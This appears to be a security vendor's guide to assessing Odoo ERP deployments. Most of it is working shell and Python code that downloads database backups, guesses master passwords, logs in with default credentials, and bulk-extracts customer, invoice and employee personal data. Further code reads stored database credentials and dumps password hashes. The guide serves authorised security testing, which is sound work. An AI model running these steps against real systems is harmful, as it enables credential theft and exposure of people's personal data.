Odoo (formerly OpenERP) is one of the most widely deployed open-source ERP platforms, used by businesses of all sizes to manage CRM, accounting, inventory, manufacturing, HR, and payroll across hundreds of integrated modules. Its Python-based architecture and XML-RPC API make it a rich target for systematic security assessment. Key areas: Odoo's master_password in odoo.conf controls access to the database manager at /web/database/manager — including database backup, restore, and drop; the XML-RPC API provides programmatic access to all ERP models; Odoo defaults to admin/admin in development and many production deployments; odoo.conf stores the PostgreSQL superuser password; and multi-company record rules can be bypassed with manipulated domain filters. This guide covers systematic Odoo security assessment.
# Odoo — database manager exposure and master password testing
ODOO_URL="https://odoo.example.com"
# Check if /web/database/manager is accessible without restriction
curl -s -o /dev/null -w "%{http_code}" "${ODOO_URL}/web/database/manager" 2>/dev/null
# 200 = database manager accessible — critical exposure
# Should return 403 or redirect if properly restricted
# Check if database listing is accessible without master password
curl -s "${ODOO_URL}/web/database/list" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"call","params":{}}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
result = d.get('result',[])
print(f'Databases: {result}')
" 2>/dev/null
# Test for blank/weak master password on database backup endpoint
# Note: This downloads a database backup if master_password is empty
curl -s -X POST "${ODOO_URL}/web/database/backup" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "master_pwd=&name=odoo&backup_format=zip" \
-o /dev/null -w "%{http_code}" 2>/dev/null
# 200 with content-length > 1000 = backup succeeded (no master password required)
# Try common master passwords
for PWD in "" "admin" "odoo" "master" "password" "123456"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X POST \
"${ODOO_URL}/web/database/list" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "master_pwd=${PWD}" 2>/dev/null)
echo "master_pwd='${PWD}': HTTP ${STATUS}"
done
# Odoo XML-RPC API — full ERP data access
ODOO_URL="https://odoo.example.com"
DB="odoo"
USERNAME="admin"
PASSWORD="admin"
# Step 1: Authenticate via XML-RPC to get user ID
UID=$(python3 -c "
import xmlrpc.client
common = xmlrpc.client.ServerProxy('${ODOO_URL}/xmlrpc/2/common')
uid = common.authenticate('${DB}', '${USERNAME}', '${PASSWORD}', {})
print(uid)
" 2>/dev/null)
echo "UID: $UID"
# Step 2: Access ERP data with authenticated session
python3 << EOF
import xmlrpc.client
url = '${ODOO_URL}'
db = '${DB}'
uid = ${UID:-0}
password = '${PASSWORD}'
models = xmlrpc.client.ServerProxy(f'{url}/xmlrpc/2/object')
# CRM — all customer/partner records
partners = models.execute_kw(db, uid, password, 'res.partner', 'search_read',
[[['customer_rank', '>', 0]]], {'fields': ['name','email','phone','mobile','street','city','country_id'], 'limit': 50})
print(f'Customers: {len(partners)}')
for p in partners[:5]:
print(f' {p["name"]} email={p.get("email")} phone={p.get("phone")}')
# Accounting — all invoices
invoices = models.execute_kw(db, uid, password, 'account.move', 'search_read',
[[['move_type', '=', 'out_invoice']]], {'fields': ['name','partner_id','amount_total','payment_state','invoice_date'], 'limit': 20})
print(f'Sales invoices: {len(invoices)}')
# HR — employee records
try:
employees = models.execute_kw(db, uid, password, 'hr.employee', 'search_read',
[[]], {'fields': ['name','work_email','department_id','job_title','private_email','birthday'], 'limit': 20})
print(f'Employees: {len(employees)}')
for e in employees[:5]:
print(f' {e["name"]} work={e.get("work_email")} private={e.get("private_email")} dob={e.get("birthday")}')
except Exception as ex:
print(f'HR access denied: {ex}')
EOF
# Odoo odoo.conf and PostgreSQL credential extraction
# odoo.conf — PostgreSQL credentials and master password
cat /etc/odoo/odoo.conf 2>/dev/null | \
grep -E "admin_passwd|db_password|db_user|db_host|db_name|logfile"
# admin_passwd — master password for /web/database/manager
# db_password — PostgreSQL database user password
# Docker deployment — environment variables
docker inspect odoo 2>/dev/null | python3 -c "
import json,sys
try:
containers=json.load(sys.stdin)
for c in containers:
env = c.get('Config',{}).get('Env',[])
for e in env:
if any(k in e for k in ['PASSWORD','PASS','HOST_DB','ODOO']):
print(e)
except: pass
" 2>/dev/null
# PostgreSQL direct access — Odoo user table with pbkdf2 hashes
psql -U odoo -d odoo 2>/dev/null << 'EOF'
SELECT id, name, login, password, share, active, groups_id
FROM res_users
WHERE active = true
ORDER BY id
LIMIT 20;
EOF
# password — PBKDF2-SHA512 hash for Odoo 17+, SHA1 or scrypt for earlier versions
# Check for empty master password via database manager list
curl -s -X POST "${ODOO_URL}/web/database/list" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"call","id":1,"params":{"fields":[]}}' 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
r=d.get('result',[])
print(f'Databases listed without auth: {r}')
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Database manager exposure with no/weak master password | GET /web/database/manager — check accessibility; POST /web/database/backup with empty master_pwd — 200 response with ZIP content indicates no master password; full database backup download exposes all ERP data | Critical |
| Default admin/admin credential exploitation | XML-RPC authenticate('db','admin','admin',{}) — returns positive UID if successful; XML-RPC access to all ERP models including customer records, invoices, employee PII, and accounting | Critical |
| XML-RPC customer, invoice, and employee data extraction | execute_kw on res.partner, account.move, hr.employee — complete customer database, all sales and purchase invoices with totals, all employee records with private email and birth date | Critical |
| odoo.conf admin_passwd and db_password extraction | Read /etc/odoo/odoo.conf — admin_passwd (database manager master password), db_password (PostgreSQL password); PostgreSQL access exposes all ERP data and user password hashes | Critical |
| Database listing without authentication | POST /web/database/list with no master_pwd — lists all Odoo databases on the server; enables targeted database selection for backup extraction or restoration attacks | High |
Ironimo tests Odoo deployments for database manager accessibility and master password weakness, default admin credential exploitation via XML-RPC, complete ERP data enumeration across CRM, accounting, HR, and inventory modules, odoo.conf master password and PostgreSQL credential extraction, database listing without authentication, multi-company record rule bypass testing, Docker environment variable credential exposure, and PostgreSQL user hash extraction.
Start free scan